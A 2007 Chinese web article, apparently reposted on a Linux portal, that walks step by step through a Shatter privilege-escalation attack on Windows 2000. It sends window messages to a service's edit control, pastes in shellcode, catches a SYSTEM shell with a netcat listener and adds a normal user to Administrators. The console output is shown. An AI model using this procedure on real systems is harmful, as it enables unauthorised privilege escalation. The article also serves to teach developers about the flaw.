Linux中国 Linux中国门户站!
设为主页 设为主页
收藏本站 收藏本站
 

在Win2000中提升权限的实例及心得

来源:linuxdby.com 作者:Webmaster 时间:2007-04-12 点击: [收藏] [投稿]


我现在来演示一下使用Shatter攻击SimpleService的过程,看看普通用户“moda”是怎么样通过Shatter提升权限的:

先以普通用户“moda”登录,看看本地Administrators组当前的成员:

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

D:\MyJob\tool\netcat>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the
Members

-----------------------------------------------------------------------------
Administrator
The command completed successfully.

本地Administrators组只有Administrator一个成员。我们试一下能不能把“moda”加入到本地Administrators组。

D:\MyJob\tool\netcat>net localgroup administrators /add moda
System error 5 has occurred.

Access is denied.

很惨呀,得了一个“Access is denied.”的错误。

下面运行程序Client,向SimpleService发送几个字节,於是SimpleService在普通用户“moda”的Desktop上产生一个对话框:


这个对话框上有两个Edit Controls,一个对应着“Number Of Hit”,这里输出SimpleService的Named Pipe被访问的次数;一个对应着“Message Back”,这里输出SimpleService的Message。这两个Edit都可以被攻击利用,不过我这里以“Message Back”的Edit为例。让我们运行FOON的攻击程序Shatter:

第一步:
我们需要扩大Edit的尺寸(Size)。大家从SimpleService的源程序中可以看到,“Message Back”的Edit只允许40个char,而jill的黑客码显然超过了这个长度,所以我们就通过Shatter向这个Edit的柄Handler发送EM_SETLIMITEXT,把它的尺寸扩大到0xffffffff(见下图)。

第二步:
把FOON改编的jill黑客码拷贝到Clipboard上,然后往Edit发送WM_PASTE,你可以看到Edit中马上堆积了一长串乱七八糟的字符,这就是jill黑客码。

第三步:
利用Windbg去寻找jill黑客码在Window内存中的地址,这个过程FOON已经讲得很清楚了,所以就不用我罗嗦了。在dallas上我得到的地址是在0x1389c0附近。


第四步:
另外打开一个Dos窗口运行netcat,我们准备与打入敌营的侦察兵jill联络:

D:\MyJob\tool\netcat>
D:\MyJob\tool\netcat>nc -lp 123

第五步:
向Edit发送WM_TIMER,让Window进程跳去执行从0x1389c0开始的黑客码。你马上就能看到netcat开始收到了jill发回来的内容,它输出一些版权信息。

D:\MyJob\tool\netcat>
D:\MyJob\tool\netcat>nc -lp 123
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

第六步:
现在你就可以通过netcat与Window进程中的cmd Shell联系,可以向它发送命令,从它那里得到命令运行结果。这个cmd Shell具有Local System的权限,所以我们可以轻易地把普通用户“moda”加入到本地Administrators组中:

D:\WINNT\system32>net localgroup administrators /add moda
net localgroup administrators /add moda
The command completed successfully.

D:\WINNT\system32>net localgroup administrators
net localgroup administrators

Alias name administrators
Comment Administrators have complete and unrestricted access to the

Members

-----------------------------------------------------------------------------
Administrator
moda
The command completed successfully.


D:\WINNT\system32>
D:\WINNT\system32>

以上就是我演示Microsoft这个缺陷的过程,虽说我有意把SimpleServic设计得易于黑客攻击,但实际上还有不少的流行的程序也是犯了同样的错误,象FOON文章中提及的Network Associates VirusScan v4.5.1, 还有我最喜欢用的WinVNC等等,它们都在普通用户的Desktop上创建了一个具有Local System权限的Window。

各位,编程序时要记住不要在阿猫阿狗的Desktop上创建Window啊!如果你给它们机会,阿猫阿狗也会成精的!


结尾的话:


提升权限的方法还有很多种,比如说可以直接用破密码的软件来获得Administrator的密码、可以利用系统进程缓冲区溢出来运行更高权限的黑客码等等,我这里只是挂一漏万地介绍其中几个。







 如果您对本文有任何疑问或者建议,请到讨论区发表您的意见: >> 论坛入口 <<



上一篇: 自动安装Windows2000系统   下一篇: 怎么样让Win2000系统达到最佳性能

文章评论】 【收藏本文】 【推荐好友】 【打印本文】 【我要投稿】 【论坛讨论
更多相关文章
Power by linux-cn.com 粤ICP备05006655号